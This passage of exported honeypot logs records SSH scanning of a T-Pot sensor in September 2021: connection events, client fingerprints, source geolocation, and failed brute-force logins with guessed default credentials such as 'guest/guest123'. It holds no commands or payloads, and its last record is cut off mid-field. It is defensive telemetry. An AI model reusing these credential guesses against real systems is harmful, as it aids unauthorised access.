24756	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:09:07.289697+03	2021-09-20 14:15:09.20949+03	{"_id": "twblAnwBvYTbRNuEMhVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "695590e95c48", "@version": "1", "timestamp": "2021-09-20T11:09:07.289697Z", "@timestamp": "2021-09-20T11:09:07.289Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24757	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:07.660129+03	2021-09-20 14:15:09.21147+03	{"_id": "uAblAnwBvYTbRNuENBWX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1463483997829948, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55980, "dest_port": 22, "timestamp": "2021-09-20T11:09:07.660129Z", "@timestamp": "2021-09-20T11:09:07.660Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24758	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:07.178033+03	2021-09-20 14:15:09.2125+03	{"_id": "uQblAnwBvYTbRNuENBWa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 275122381547573, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7384, "dest_port": 22, "timestamp": "2021-09-20T11:09:07.178033Z", "@timestamp": "2021-09-20T11:09:07.178Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24759	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:09:07.288924+03	2021-09-20 14:15:09.21347+03	{"_id": "ugblAnwBvYTbRNuENBWa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 86863227631298, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56802, "dest_port": 22, "timestamp": "2021-09-20T11:09:07.288924Z", "@timestamp": "2021-09-20T11:09:07.288Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24760	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:07.660293+03	2021-09-20 14:15:09.215503+03	{"_id": "vQblAnwBvYTbRNuENRWV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55980, "timestamp": "2021-09-20T11:09:07.660293", "@timestamp": "2021-09-20T11:09:07.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24761	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:07.221867+03	2021-09-20 14:15:09.21647+03	{"_id": "vwblAnwBvYTbRNuENRWW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7384, "dest_port": 22, "timestamp": "2021-09-20T11:09:07.221867", "@timestamp": "2021-09-20T11:09:07.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24762	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:09:07.671261+03	2021-09-20 14:15:09.2185+03	{"_id": "wAblAnwBvYTbRNuENRWW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55980, "dest_port": 22, "timestamp": "2021-09-20T11:09:07.671261", "@timestamp": "2021-09-20T11:09:07.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24763	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:07.435853+03	2021-09-20 14:15:09.219471+03	{"_id": "wQblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:55980 (192.168.176.2:22) [session: ec6d2c05298f]", "session": "ec6d2c05298f", "@version": "1", "protocol": "ssh", "src_port": 55980, "dest_port": 22, "timestamp": "2021-09-20T11:09:07.435853Z", "@timestamp": "2021-09-20T11:09:07.435Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24764	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:07.445378+03	2021-09-20 14:15:09.22047+03	{"_id": "wgblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [guest/guest123] failed", "session": "0cb70e7098e0", "@version": "1", "password": "guest123", "username": "guest", "timestamp": "2021-09-20T11:09:07.445378Z", "@timestamp": "2021-09-20T11:09:07.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24765	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:07.489597+03	2021-09-20 14:15:09.22147+03	{"_id": "wwblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ec6d2c05298f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:07.489597Z", "@timestamp": "2021-09-20T11:09:07.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24766	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:09:07.597585+03	2021-09-20 14:15:09.22247+03	{"_id": "xAblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [sql/sql123] failed", "session": "695590e95c48", "@version": "1", "password": "sql123", "username": "sql", "timestamp": "2021-09-20T11:09:07.597585Z", "@timestamp": "2021-09-20T11:09:07.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24767	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:07.620905+03	2021-09-20 14:15:09.224471+03	{"_id": "xQblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "84854aca4931", "@version": "1", "duration": 2.8570473194122314, "timestamp": "2021-09-20T11:09:07.620905Z", "@timestamp": "2021-09-20T11:09:07.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24768	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:07.672008+03	2021-09-20 14:15:09.22547+03	{"_id": "xgblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ec6d2c05298f", "@version": "1", "timestamp": "2021-09-20T11:09:07.672008Z", "@timestamp": "2021-09-20T11:09:07.672Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 